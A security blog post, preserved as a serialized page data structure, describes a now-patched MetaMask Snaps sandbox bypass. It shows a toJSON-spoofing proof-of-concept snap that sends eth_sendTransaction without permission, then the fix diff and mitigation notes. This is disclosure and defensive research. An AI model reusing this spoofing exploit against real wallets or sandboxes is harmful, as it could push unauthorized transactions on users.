undefined",{"type":22,"tag":118,"props":41281,"children":41282},{"style":125},[41283],{"type":28,"value":801},{"type":22,"tag":118,"props":41285,"children":41286},{"class":120,"line":318},[41287],{"type":22,"tag":118,"props":41288,"children":41289},{"style":125},[41290],{"type":28,"value":14660},{"type":22,"tag":118,"props":41292,"children":41293},{"class":120,"line":351},[41294,41299,41304],{"type":22,"tag":118,"props":41295,"children":41296},{"style":1480},[41297],{"type":28,"value":41298},"      return",{"type":22,"tag":118,"props":41300,"children":41301},{"style":204},[41302],{"type":28,"value":41303}," propValue",{"type":22,"tag":118,"props":41305,"children":41306},{"style":125},[41307],{"type":28,"value":801},{"type":22,"tag":118,"props":41309,"children":41310},{"class":120,"line":359},[41311],{"type":22,"tag":118,"props":41312,"children":41313},{"style":125},[41314],{"type":28,"value":40486},{"type":22,"tag":118,"props":41316,"children":41317},{"class":120,"line":368},[41318],{"type":22,"tag":118,"props":41319,"children":41320},{"style":125},[41321],{"type":28,"value":40353},{"type":22,"tag":118,"props":41323,"children":41324},{"class":120,"line":384},[41325],{"type":22,"tag":118,"props":41326,"children":41327},{"style":125},[41328],{"type":28,"value":37278},{"type":22,"tag":31,"props":41330,"children":41331},{},[41332,41334,41340,41342,41347,41349,41355,41357,41363],{"type":28,"value":41333},"The function performs a ",{"type":22,"tag":114,"props":41335,"children":41337},{"className":41336},[],[41338],{"type":28,"value":41339},"JSON.parse(JSON.stringify(value))",{"type":28,"value":41341}," in the argument sent to ",{"type":22,"tag":114,"props":41343,"children":41345},{"className":41344},[],[41346],{"type":28,"value":41017},{"type":28,"value":41348},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":22,"tag":114,"props":41350,"children":41352},{"className":41351},[],[41353],{"type":28,"value":41354},"toJSON",{"type":28,"value":41356}," function in a legit ",{"type":22,"tag":114,"props":41358,"children":41360},{"className":41359},[],[41361],{"type":28,"value":41362},"snap.request",{"type":28,"value":41364}," argument:",{"type":22,"tag":4029,"props":41366,"children":41367},{},[41368,41373,41378],{"type":22,"tag":68,"props":41369,"children":41370},{},[41371],{"type":28,"value":41372},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":22,"tag":68,"props":41374,"children":41375},{},[41376],{"type":28,"value":41377},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":22,"tag":68,"props":41379,"children":41380},{},[41381],{"type":28,"value":41382},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":22,"tag":31,"props":41384,"children":41385},{},[41386],{"type":28,"value":41387},"The assertion bypass can be useful on two occasions:",{"type":22,"tag":4029,"props":41389,"children":41390},{},[41391,41396],{"type":22,"tag":68,"props":41392,"children":41393},{},[41394],{"type":28,"value":41395},"forward blocked RPC methods",{"type":22,"tag":68,"props":41397,"children":41398},{},[41399,41401,41406,41408,41414,41416,41421],{"type":28,"value":41400},"Making requests in ",{"type":22,"tag":114,"props":41402,"children":41404},{"className":41403},[],[41405],{"type":28,"value":41362},{"type":28,"value":41407}," that were only supposed to be done within ",{"type":22,"tag":114,"props":41409,"children":41411},{"className":41410},[],[41412],{"type":28,"value":41413},"ethereum.request",{"type":28,"value":41415}," (with ",{"type":22,"tag":114,"props":41417,"children":41419},{"className":41418},[],[41420],{"type":28,"value":40590},{"type":28,"value":41422}," enabled).",{"type":22,"tag":31,"props":41424,"children":41425},{},[41426],{"type":28,"value":41427},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":22,"tag":1289,"props":41429,"children":41430},{"id":7672},[41431],{"type":28,"value":7675},{"type":22,"tag":31,"props":41433,"children":41434},{},[41435],{"type":28,"value":41436},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":22,"tag":31,"props":41438,"children":41439},{},[41440],{"type":22,"tag":5928,"props":41441,"children":41443},{"alt":7,"src":41442},"/posts/metamask-snaps/note.png",[],{"type":22,"tag":1289,"props":41445,"children":41447},{"id":41446},"proof-of-concept",[41448],{"type":28,"value":36769},{"type":22,"tag":31,"props":41450,"children":41451},{},[41452,41454,41459,41461,41466,41468,41474],{"type":28,"value":41453},"To demonstrate the issue, we created a snap without the ",{"type":22,"tag":114,"props":41455,"children":41457},{"className":41456},[],[41458],{"type":28,"value":40590},{"type":28,"value":41460}," permission, and used the ",{"type":22,"tag":114,"props":41462,"children":41464},{"className":41463},[],[41465],{"type":28,"value":40119},{"type":28,"value":41467}," interface to call ",{"type":22,"tag":114,"props":41469,"children":41471},{"className":41470},[],[41472],{"type":28,"value":41473},"eth_sendTransaction",{"type":28,"value":41475},". According to the documentation, this shouldn't be possible:",{"type":22,"tag":107,"props":41477,"children":41479},{"className":37554,"code":41478,"language":37556,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[41480],{"type":22,"tag":114,"props":41481,"children":41482},{"__ignoreMap":7},[41483,41516,41523,41530,41547,41576,41583,41608,41615,41647,41658,41675,41688,41695,41702,41709,41741,41748,41755,41762,41778,41805,41812,41835,41842,41873,41884,41900,41912,41933,41948,41965,41973,41980,41987,41994,42025,42032,42039,42099,42106,42134,42151,42166,42182,42197,42209,42239,42246],{"type":22,"tag":118,"props":41484,"children":41485},{"class":120,"line":121},[41486,41490,41494,41499,41503,41507,41512],{"type":22,"tag":118,"props":41487,"children":41488},{"style":1480},[41489],{"type":28,"value":21451},{"type":22,"tag":118,"props":41491,"children":41492},{"style":125},[41493],{"type":28,"value":11584},{"type":22,"tag":118,"props":41495,"children":41496},{"style":204},[41497],{"type":28,"value":41498},"OnRpcRequestHandler",{"type":22,"tag":118,"props":41500,"children":41501},{"style":125},[41502],{"type":28,"value":38143},{"type":22,"tag":118,"props":41504,"children":41505},{"style":1480},[41506],{"type":28,"value":21441},{"type":22,"tag":118,"props":41508,"children":41509},{"style":1866},[41510],{"type":28,"value":41511}," '@metamask/snaps-types'",{"type":22,"tag":118,"props":41513,"children":41514},{"style":125},[41515],{"type":28,"value":801},{"type":22,"tag":118,"props":41517,"children":41518},{"class":120,"line":142},[41519],{"type":22,"tag":118,"props":41520,"children":41521},{"emptyLinePlaceholder":15},[41522],{"type":28,"value":250},{"type":22,"tag":118,"props":41524,"children":41525},{"class":120,"line":177},[41526],{"type":22,"tag":118,"props":41527,"children":41528},{"emptyLinePlaceholder":15},[41529],{"type":28,"value":250},{"type":22,"tag":118,"props":41531,"children":41532},{"class":120,"line":195},[41533,41537,41542],{"type":22,"tag":118,"props":41534,"children":41535},{"style":146},[41536],{"type":28,"value":33316},{"type":22,"tag":118,"props":41538,"children":41539},{"style":532},[41540],{"type":28,"value":41541}," jsonExploit",{"type":22,"tag":118,"props":41543,"children":41544},{"style":125},[41545],{"type":28,"value":41546},"(){\n",{"type":22,"tag":118,"props":41548,"children":41549},{"class":120,"line":244},[41550,41554,41558,41562,41567,41571],{"type":22,"tag":118,"props":41551,"children":41552},{"style":146},[41553],{"type":28,"value":9860},{"type":22,"tag":118,"props":41555,"children":41556},{"style":204},[41557],{"type":28,"value":21032},{"type":22,"tag":118,"props":41559,"children":41560},{"style":210},[41561],{"type":28,"value":837},{"type":22,"tag":118,"props":41563,"children":41564},{"style":125},[41565],{"type":28,"value":41566}," [] ",{"type":22,"tag":118,"props":41568,"children":41569},{"style":1480},[41570],{"type":28,"value":1215},{"type":22,"tag":118,"props":41572,"children":41573},{"style":131},[41574],{"type":28,"value":41575}," any\n",{"type":22,"tag":118,"props":41577,"children":41578},{"class":120,"line":253},[41579],{"type":22,"tag":118,"props":41580,"children":41581},{"emptyLinePlaceholder":15},[41582],{"type":28,"value":250},{"type":22,"tag":118,"props":41584,"children":41585},{"class":120,"line":263},[41586,41591,41595,41599,41603],{"type":22,"tag":118,"props":41587,"children":41588},{"style":204},[41589],{"type":28,"value":41590},"  x",{"type":22,"tag":118,"props":41592,"children":41593},{"style":125},[41594],{"type":28,"value":292},{"type":22,"tag":118,"props":41596,"children":41597},{"style":204},[41598],{"type":28,"value":40254},{"type":22,"tag":118,"props":41600,"children":41601},{"style":210},[41602],{"type":28,"value":837},{"type":22,"tag":118,"props":41604,"children":41605},{"style":1866},[41606],{"type":28,"value":41607}," \"snap_dialog\"\n",{"type":22,"tag":118,"props":41609,"children":41610},{"class":120,"line":318},[41611],{"type":22,"tag":118,"props":41612,"children":41613},{"emptyLinePlaceholder":15},[41614],{"type":28,"value":250},{"type":22,"tag":118,"props":41616,"children":41617},{"class":120,"line":351},[41618,41622,41626,41630,41634,41639,41643],{"type":22,"tag":118,"props":41619,"children":41620},{"style":204},[41621],{"type":28,"value":41590},{"type":22,"tag":118,"props":41623,"children":41624},{"style":125},[41625],{"type":28,"value":292},{"type":22,"tag":118,"props":41627,"children":41628},{"style":532},[41629],{"type":28,"value":41354},{"type":22,"tag":118,"props":41631,"children":41632},{"style":210},[41633],{"type":28,"value":837},{"type":22,"tag":118,"props":41635,"children":41636},{"style":125},[41637],{"type":28,"value":41638}," () ",{"type":22,"tag":118,"props":41640,"children":41641},{"style":146},[41642],{"type":28,"value":1616},{"type":22,"tag":118,"props":41644,"children":41645},{"style":125},[41646],{"type":28,"value":1474},{"type":22,"tag":118,"props":41648,"children":41649},{"class":120,"line":359},[41650,41654],{"type":22,"tag":118,"props":41651,"children":41652},{"style":1480},[41653],{"type":28,"value":18954},{"type":22,"tag":118,"props":41655,"children":41656},{"style":125},[41657],{"type":28,"value":1474},{"type":22,"tag":118,"props":41659,"children":41660},{"class":120,"line":368},[41661,41666,41671],{"type":22,"tag":118,"props":41662,"children":41663},{"style":204},[41664],{"type":28,"value":41665},"      method:",{"type":22,"tag":118,"props":41667,"children":41668},{"style":1866},[41669],{"type":28,"value":41670}," \"eth_requestAccounts\"",{"type":22,"tag":118,"props":41672,"children":41673},{"style":125},[41674],{"type":28,"value":782},{"type":22,"tag":118,"props":41676,"children":41677},{"class":120,"line":384},[41678,41683],{"type":22,"tag":118,"props":41679,"children":41680},{"style":204},[41681],{"type":28,"value":41682},"      params:",{"type":22,"tag":118,"props":41684,"children":41685},{"style":125},[41686],{"type":28,"value":41687}," []\n",{"type":22,"tag":118,"props":41689,"children":41690},{"class":120,"line":417},[41691],{"type":22,"tag":118,"props":41692,"children":41693},{"style":125},[41694],{"type":28,"value":1254},{"type":22,"tag":118,"props":41696,"children":41697},{"class":120,"line":425},[41698],{"type":22,"tag":118,"props":41699,"children":41700},{"style":125},[41701],{"type":28,"value":7881},{"type":22,"tag":118,"props":41703,"children":41704},{"class":120,"line":441},[41705],{"type":22,"tag":118,"props":41706,"children":41707},{"emptyLinePlaceholder":15},[41708],{"type":28,"value":250},{"type":22,"tag":118,"props":41710,"children":41711},{"class":120,"line":475},[41712,41716,41721,41725,41729,41733,41737],{"type":22,"tag":118,"props":41713,"children":41714},{"style":1480},[41715],{"type":28,"value":41140},{"type":22,"tag":118,"props":41717,"children":41718},{"style":204},[41719],{"type":28,"value":41720}," snap",{"type":22,"tag":118,"props":41722,"children":41723},{"style":125},[41724],{"type":28,"value":292},{"type":22,"tag":118,"props":41726,"children":41727},{"style":532},[41728],{"type":28,"value":33432},{"type":22,"tag":118,"props":41730,"children":41731},{"style":125},[41732],{"type":28,"value":540},{"type":22,"tag":118,"props":41734,"children":41735},{"style":204},[41736],{"type":28,"value":21243},{"type":22,"tag":118,"props":41738,"children":41739},{"style":125},[41740],{"type":28,"value":3665},{"type":22,"tag":118,"props":41742,"children":41743},{"class":120,"line":484},[41744],{"type":22,"tag":118,"props":41745,"children":41746},{"emptyLinePlaceholder":15},[41747],{"type":28,"value":250},{"type":22,"tag":118,"props":41749,"children":41750},{"class":120,"line":492},[41751],{"type":22,"tag":118,"props":41752,"children":41753},{"style":125},[41754],{"type":28,"value":481},{"type":22,"tag":118,"props":41756,"children":41757},{"class":120,"line":501},[41758],{"type":22,"tag":118,"props":41759,"children":41760},{"emptyLinePlaceholder":15},[41761],{"type":28,"value":250},{"type":22,"tag":118,"props":41763,"children":41764},{"class":120,"line":519},[41765,41769,41774],{"type":22,"tag":118,"props":41766,"children":41767},{"style":146},[41768],{"type":28,"value":33316},{"type":22,"tag":118,"props":41770,"children":41771},{"style":532},[41772],{"type":28,"value":41773}," transactionExploit",{"type":22,"tag":118,"props":41775,"children":41776},{"style":125},[41777],{"type":28,"value":41546},{"type":22,"tag":118,"props":41779,"children":41780},{"class":120,"line":606},[41781,41785,41789,41793,41797,41801],{"type":22,"tag":118,"props":41782,"children":41783},{"style":146},[41784],{"type":28,"value":9860},{"type":22,"tag":118,"props":41786,"children":41787},{"style":204},[41788],{"type":28,"value":21032},{"type":22,"tag":118,"props":41790,"children":41791},{"style":210},[41792],{"type":28,"value":837},{"type":22,"tag":118,"props":41794,"children":41795},{"style":125},[41796],{"type":28,"value":41566},{"type":22,"tag":118,"props":41798,"children":41799},{"style":1480},[41800],{"type":28,"value":1215},{"type":22,"tag":118,"props":41802,"children":41803},{"style":131},[41804],{"type":28,"value":41575},{"type":22,"tag":118,"props":41806,"children":41807},{"class":120,"line":615},[41808],{"type":22,"tag":118,"props":41809,"children":41810},{"emptyLinePlaceholder":15},[41811],{"type":28,"value":250},{"type":22,"tag":118,"props":41813,"children":41814},{"class":120,"line":685},[41815,41819,41823,41827,41831],{"type":22,"tag":118,"props":41816,"children":41817},{"style":204},[41818],{"type":28,"value":41590},{"type":22,"tag":118,"props":41820,"children":41821},{"style":125},[41822],{"type":28,"value":292},{"type":22,"tag":118,"props":41824,"children":41825},{"style":204},[41826],{"type":28,"value":40254},{"type":22,"tag":118,"props":41828,"children":41829},{"style":210},[41830],{"type":28,"value":837},{"type":22,"tag":118,"props":41832,"children":41833},{"style":1866},[41834],{"type":28,"value":41607},{"type":22,"tag":118,"props":41836,"children":41837},{"class":120,"line":699},[41838],{"type":22,"tag":118,"props":41839,"children":41840},{"emptyLinePlaceholder":15},[41841],{"type":28,"value":250},{"type":22,"tag":118,"props":41843,"children":41844},{"class":120,"line":729},[41845,41849,41853,41857,41861,41865,41869],{"type":22,"tag":118,"props":41846,"children":41847},{"style":204},[41848],{"type":28,"value":41590},{"type":22,"tag":118,"props":41850,"children":41851},{"style":125},[41852],{"type":28,"value":292},{"type":22,"tag":118,"props":41854,"children":41855},{"style":532},[41856],{"type":28,"value":41354},{"type":22,"tag":118,"props":41858,"children":41859},{"style":210},[41860],{"type":28,"value":837},{"type":22,"tag":118,"props":41862,"children":41863},{"style":125},[41864],{"type":28,"value":41638},{"type":22,"tag":118,"props":41866,"children":41867},{"style":146},[41868],{"type":28,"value":1616},{"type":22,"tag":118,"props":41870,"children":41871},{"style":125},[41872],{"type":28,"value":1474},{"type":22,"tag":118,"props":41874,"children":41875},{"class":120,"line":771},[41876,41880],{"type":22,"tag":118,"props":41877,"children":41878},{"style":1480},[41879],{"type":28,"value":18954},{"type":22,"tag":118,"props":41881,"children":41882},{"style":125},[41883],{"type":28,"value":1474},{"type":22,"tag":118,"props":41885,"children":41886},{"class":120,"line":785},[41887,41891,41896],{"type":22,"tag":118,"props":41888,"children":41889},{"style":204},[41890],{"type":28,"value":41665},{"type":22,"tag":118,"props":41892,"children":41893},{"style":1866},[41894],{"type":28,"value":41895}," \"eth_sendTransaction\"",{"type":22,"tag":118,"props":41897,"children":41898},{"style":125},[41899],{"type":28,"value":782},{"type":22,"tag":118,"props":41901,"children":41902},{"class":120,"line":804},[41903,41907],{"type":22,"tag":118,"props":41904,"children":41905},{"style":204},[41906],{"type":28,"value":41682},{"type":22,"tag":118,"props":41908,"children":41909},{"style":125},[41910],{"type":28,"value":41911}," [{\n",{"type":22,"tag":118,"props":41913,"children":41914},{"class":120,"line":812},[41915,41919,41924,41928],{"type":22,"tag":118,"props":41916,"children":41917},{"style":204},[41918],{"type":28,"value":34003},{"type":22,"tag":118,"props":41920,"children":41921},{"style":1866},[41922],{"type":28,"value":41923}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":22,"tag":118,"props":41925,"children":41926},{"style":125},[41927],{"type":28,"value":231},{"type":22,"tag":118,"props":41929,"children":41930},{"style":257},[41931],{"type":28,"value":41932},"// change this to your address\n",{"type":22,"tag":118,"props":41934,"children":41935},{"class":120,"line":821},[41936,41940,41944],{"type":22,"tag":118,"props":41937,"children":41938},{"style":204},[41939],{"type":28,"value":34019},{"type":22,"tag":118,"props":41941,"children":41942},{"style":1866},[41943],{"type":28,"value":41923},{"type":22,"tag":118,"props":41945,"children":41946},{"style":125},[41947],{"type":28,"value":782},{"type":22,"tag":118,"props":41949,"children":41950},{"class":120,"line":900},[41951,41956,41961],{"type":22,"tag":118,"props":41952,"children":41953},{"style":204},[41954],{"type":28,"value":41955},"        value:",{"type":22,"tag":118,"props":41957,"children":41958},{"style":1866},[41959],{"type":28,"value":41960}," \"0x1\"",{"type":22,"tag":118,"props":41962,"children":41963},{"style":125},[41964],{"type":28,"value":782},{"type":22,"tag":118,"props":41966,"children":41967},{"class":120,"line":913},[41968],{"type":22,"tag":118,"props":41969,"children":41970},{"style":125},[41971],{"type":28,"value":41972},"      }]\n",{"type":22,"tag":118,"props":41974,"children":41975},{"class":120,"line":953},[41976],{"type":22,"tag":118,"props":41977,"children":41978},{"style":125},[41979],{"type":28,"value":1254},{"type":22,"tag":118,"props":41981,"children":41982},{"class":120,"line":982},[41983],{"type":22,"tag":118,"props":41984,"children":41985},{"style":125},[41986],{"type":28,"value":7881},{"type":22,"tag":118,"props":41988,"children":41989},{"class":120,"line":995},[41990],{"type":22,"tag":118,"props":41991,"children":41992},{"emptyLinePlaceholder":15},[41993],{"type":28,"value":250},{"type":22,"tag":118,"props":41995,"children":41996},{"class":120,"line":1011},[41997,42001,42005,42009,42013,42017,42021],{"type":22,"tag":118,"props":41998,"children":41999},{"style":1480},[42000],{"type":28,"value":41140},{"type":22,"tag":118,"props":42002,"children":42003},{"style":204},[42004],{"type":28,"value":41720},{"type":22,"tag":118,"props":42006,"children":42007},{"style":125},[42008],{"type":28,"value":292},{"type":22,"tag":118,"props":42010,"children":42011},{"style":532},[42012],{"type":28,"value":33432},{"type":22,"tag":118,"props":42014,"children":42015},{"style":125},[42016],{"type":28,"value":540},{"type":22,"tag":118,"props":42018,"children":42019},{"style":204},[42020],{"type":28,"value":21243},{"type":22,"tag":118,"props":42022,"children":42023},{"style":125},[42024],{"type":28,"value":682},{"type":22,"tag":118,"props":42026,"children":42027},{"class":120,"line":1019},[42028],{"type":22,"tag":118,"props":42029,"children":42030},{"style":125},[42031],{"type":28,"value":481},{"type":22,"tag":118,"props":42033,"children":42034},{"class":120,"line":1028},[42035],{"type":22,"tag":118,"props":42036,"children":42037},{"emptyLinePlaceholder":15},[42038],{"type":28,"value":250},{"type":22,"tag":118,"props":42040,"children":42041},{"class":120,"line":1101},[42042,42046,42050,42055,42059,42064,42068,42073,42078,42082,42086,42091,42095],{"type":22,"tag":118,"props":42043,"children":42044},{"style":1480},[42045],{"type":28,"value":40150},{"type":22,"tag":118,"props":42047,"children":42048},{"style":146},[42049],{"type":28,"value":41052},{"type":22,"tag":118,"props":42051,"children":42052},{"style":532},[42053],{"type":28,"value":42054}," onRpcRequest",{"type":22,"tag":118,"props":42056,"children":42057},{"style":210},[42058],{"type":28,"value":213},{"type":22,"tag":118,"props":42060,"children":42061},{"style":131},[42062],{"type":28,"value":42063}," OnRpcRequestHandler",{"type":22,"tag":118,"props":42065,"children":42066},{"style":210},[42067],{"type":28,"value":837},{"type":22,"tag":118,"props":42069,"children":42070},{"style":125},[42071],{"type":28,"value":42072}," ({ ",{"type":22,"tag":118,"props":42074,"children":42075},{"style":204},[42076],{"type":28,"value":42077},"origin",{"type":22,"tag":118,"props":42079,"children":42080},{"style":125},[42081],{"type":28,"value":231},{"type":22,"tag":118,"props":42083,"children":42084},{"style":204},[42085],{"type":28,"value":33432},{"type":22,"tag":118,"props":42087,"children":42088},{"style":125},[42089],{"type":28,"value":42090}," }) ",{"type":22,"tag":118,"props":42092,"children":42093},{"style":146},[42094],{"type":28,"value":1616},{"type":22,"tag":118,"props":42096,"children":42097},{"style":125},[42098],{"type":28,"value":1474},{"type":22,"tag":118,"props":42100,"children":42101},{"class":120,"line":1146},[42102],{"type":22,"tag":118,"props":42103,"children":42104},{"emptyLinePlaceholder":15},[42105],{"type":28,"value":250},{"type":22,"tag":118,"props":42107,"children":42108},{"class":120,"line":1226},[42109,42114,42118,42122,42126,42130],{"type":22,"tag":118,"props":42110,"children":42111},{"style":1480},[42112],{"type":28,"value":42113},"  switch",{"type":22,"tag":118,"props":42115,"children":42116},{"style":125},[42117],{"type":28,"value":842},{"type":22,"tag":118,"props":42119,"children":42120},{"style":204},[42121],{"type":28,"value":33432},{"type":22,"tag":118,"props":42123,"children":42124},{"style":125},[42125],{"type":28,"value":292},{"type":22,"tag":118,"props":42127,"children":42128},{"style":204},[42129],{"type":28,"value":40254},{"type":22,"tag":118,"props":42131,"children":42132},{"style":125},[42133],{"type":28,"value":16783},{"type":22,"tag":118,"props":42135,"children":42136},{"class":120,"line":1234},[42137,42142,42147],{"type":22,"tag":118,"props":42138,"children":42139},{"style":1480},[42140],{"type":28,"value":42141},"    case",{"type":22,"tag":118,"props":42143,"children":42144},{"style":1866},[42145],{"type":28,"value":42146}," 'json'",{"type":22,"tag":118,"props":42148,"children":42149},{"style":125},[42150],{"type":28,"value":7578},{"type":22,"tag":118,"props":42152,"children":42153},{"class":120,"line":1248},[42154,42158,42162],{"type":22,"tag":118,"props":42155,"children":42156},{"style":1480},[42157],{"type":28,"value":41298},{"type":22,"tag":118,"props":42159,"children":42160},{"style":532},[42161],{"type":28,"value":41541},{"type":22,"tag":118,"props":42163,"children":42164},{"style":125},[42165],{"type":28,"value":1098},{"type":22,"tag":118,"props":42167,"children":42168},{"class":120,"line":1257},[42169,42173,42178],{"type":22,"tag":118,"props":42170,"children":42171},{"style":1480},[42172],{"type":28,"value":42141},{"type":22,"tag":118,"props":42174,"children":42175},{"style":1866},[42176],{"type":28,"value":42177}," 'transaction'",{"type":22,"tag":118,"props":42179,"children":42180},{"style":125},[42181],{"type":28,"value":7578},{"type":22,"tag":118,"props":42183,"children":42184},{"class":120,"line":25765},[42185,42189,42193],{"type":22,"tag":118,"props":42186,"children":42187},{"style":1480},[42188],{"type":28,"value":41298},{"type":22,"tag":118,"props":42190,"children":42191},{"style":532},[42192],{"type":28,"value":41773},{"type":22,"tag":118,"props":42194,"children":42195},{"style":125},[42196],{"type":28,"value":1098},{"type":22,"tag":118,"props":42198,"children":42199},{"class":120,"line":25778},[42200,42205],{"type":22,"tag":118,"props":42201,"children":42202},{"style":1480},[42203],{"type":28,"value":42204},"    default",{"type":22,"tag":118,"props":42206,"children":42207},{"style":125},[42208],{"type":28,"value":7578},{"type":22,"tag":118,"props":42210,"children":42211},{"class":120,"line":25791},[42212,42217,42221,42226,42230,42235],{"type":22,"tag":118,"props":42213,"children":42214},{"style":1480},[42215],{"type":28,"value":42216},"      throw",{"type":22,"tag":118,"props":42218,"children":42219},{"style":146},[42220],{"type":28,"value":3442},{"type":22,"tag":118,"props":42222,"children":42223},{"style":532},[42224],{"type":28,"value":42225}," Error",{"type":22,"tag":118,"props":42227,"children":42228},{"style":125},[42229],{"type":28,"value":540},{"type":22,"tag":118,"props":42231,"children":42232},{"style":1866},[42233],{"type":28,"value":42234},"'Method not found.'",{"type":22,"tag":118,"props":42236,"children":42237},{"style":125},[42238],{"type":28,"value":682},{"type":22,"tag":118,"props":42240,"children":42241},{"class":120,"line":25804},[42242],{"type":22,"tag":118,"props":42243,"children":42244},{"style":125},[42245],{"type":28,"value":7881},{"type":22,"tag":118,"props":42247,"children":42248},{"class":120,"line":25858},[42249],{"type":22,"tag":118,"props":42250,"children":42251},{"style":125},[42252],{"type":28,"value":4277},{"type":22,"tag":31,"props":42254,"children":42255},{},[42256,42258,42264,42266,42271],{"type":28,"value":42257},"We set ",{"type":22,"tag":114,"props":42259,"children":42261},{"className":42260},[],[42262],{"type":28,"value":42263},"x.method = \"snap_dialog\"",{"type":28,"value":42265}," to pass the assertion and setup a toJSON function to change this method to ",{"type":22,"tag":114,"props":42267,"children":42269},{"className":42268},[],[42270],{"type":28,"value":41473},{"type":28,"value":42272}," after.",{"type":22,"tag":1289,"props":42274,"children":42276},{"id":42275},"mitigation",[42277],{"type":28,"value":42278},"Mitigation",{"type":22,"tag":31,"props":42280,"children":42281},{},[42282,42284,42289,42291,42298],{"type":28,"value":42283},"Metamask mitigated this issue by asserting the arguments after the ",{"type":22,"tag":114,"props":42285,"children":42287},{"className":42286},[],[42288],{"type":28,"value":41017},{"type":28,"value":42290}," function execution. The patch was introduced on commit ",{"type":22,"tag":42,"props":42292,"children":42295},{"href":42293,"rel":42294},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[46],[42296],{"type":28,"value":42297},"168ff08",{"type":28,"value":42299}," with the following changes:",{"type":22,"tag":107,"props":42301,"children":42303},{"className":1912,"code":42302,"language":1914,"meta":7,"style":7},"const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n",[42304],{"type":22,"tag":114,"props":42305,"children":42306},{"__ignoreMap":7},[42307,42315,42323,42331,42339],{"type":22,"tag":118,"props":42308,"children":42309},{"class":120,"line":121},[42310],{"type":22,"tag":118,"props":42311,"children":42312},{"style":125},[42313],{"type":28,"value":42314},"const request = async (args: RequestArguments) => {\n",{"type":22,"tag":118,"props":42316,"children":42317},{"class":120,"line":142},[42318],{"type":22,"tag":118,"props":42319,"children":42320},{"style":1866},[42321],{"type":28,"value":42322},"-      assertEthereumOutboundRequest(args);\n",{"type":22,"tag":118,"props":42324,"children":42325},{"class":120,"line":177},[42326],{"type":22,"tag":118,"props":42327,"children":42328},{"style":1866},[42329],{"type":28,"value":42330},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":22,"tag":118,"props":42332,"children":42333},{"class":120,"line":195},[42334],{"type":22,"tag":118,"props":42335,"children":42336},{"style":674},[42337],{"type":28,"value":42338},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":22,"tag":118,"props":42340,"children":42341},{"class":120,"line":244},[42342],{"type":22,"tag":118,"props":42343,"children":42344},{"style":674},[42345],{"type":28,"value":42346},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":22,"tag":23,"props":42348,"children":42349},{"id":30872},[42350],{"type":28,"value":20914},{"type":22,"tag":31,"props":42352,"children":42353},{},[42354],{"type":28,"value":42355},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":22,"tag":31,"props":42357,"children":42358},{},[42359],{"type":28,"value":42360},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":22,"tag":4880,"props":42362,"children":42363},{},[42364],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":42366},[42367,42368,42375,42383],{"id":20923,"depth":142,"text":20926},{"id":37393,"depth":142,"text":37396,"children":42369},[42370,42371,42372,42373,42374],{"id":37404,"depth":177,"text":37407},{"id":37472,"depth":177,"text":37475},{"id":37508,"depth":177,"text":37511},{"id":38904,"depth":177,"text":38907},{"id":39262,"depth":177,"text":39265},{"id":40049,"depth":142,"text":40052,"children":42376},[42377,42378,42379,42380,42381,42382],{"id":40055,"depth":177,"text":40058},{"id":40099,"depth":177,"text":40102},{"id":41003,"depth":177,"text":41006},{"id":7672,"depth":177,"text":7675},{"id":41446,"depth":177,"text":36769},{"id":42275,"depth":177,"text":42278},{"id":30872,"depth":142,"text":20914},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":42388,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":42389,"description":42390,"author":42391,"image":42392,"date":42394,"isFeatured":15,"onBlogPage":15,"body":42395,"_type":4896,"_id":47811,"_source":4898,"_file":47812,"_stem":47813,"_extension":4901},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program 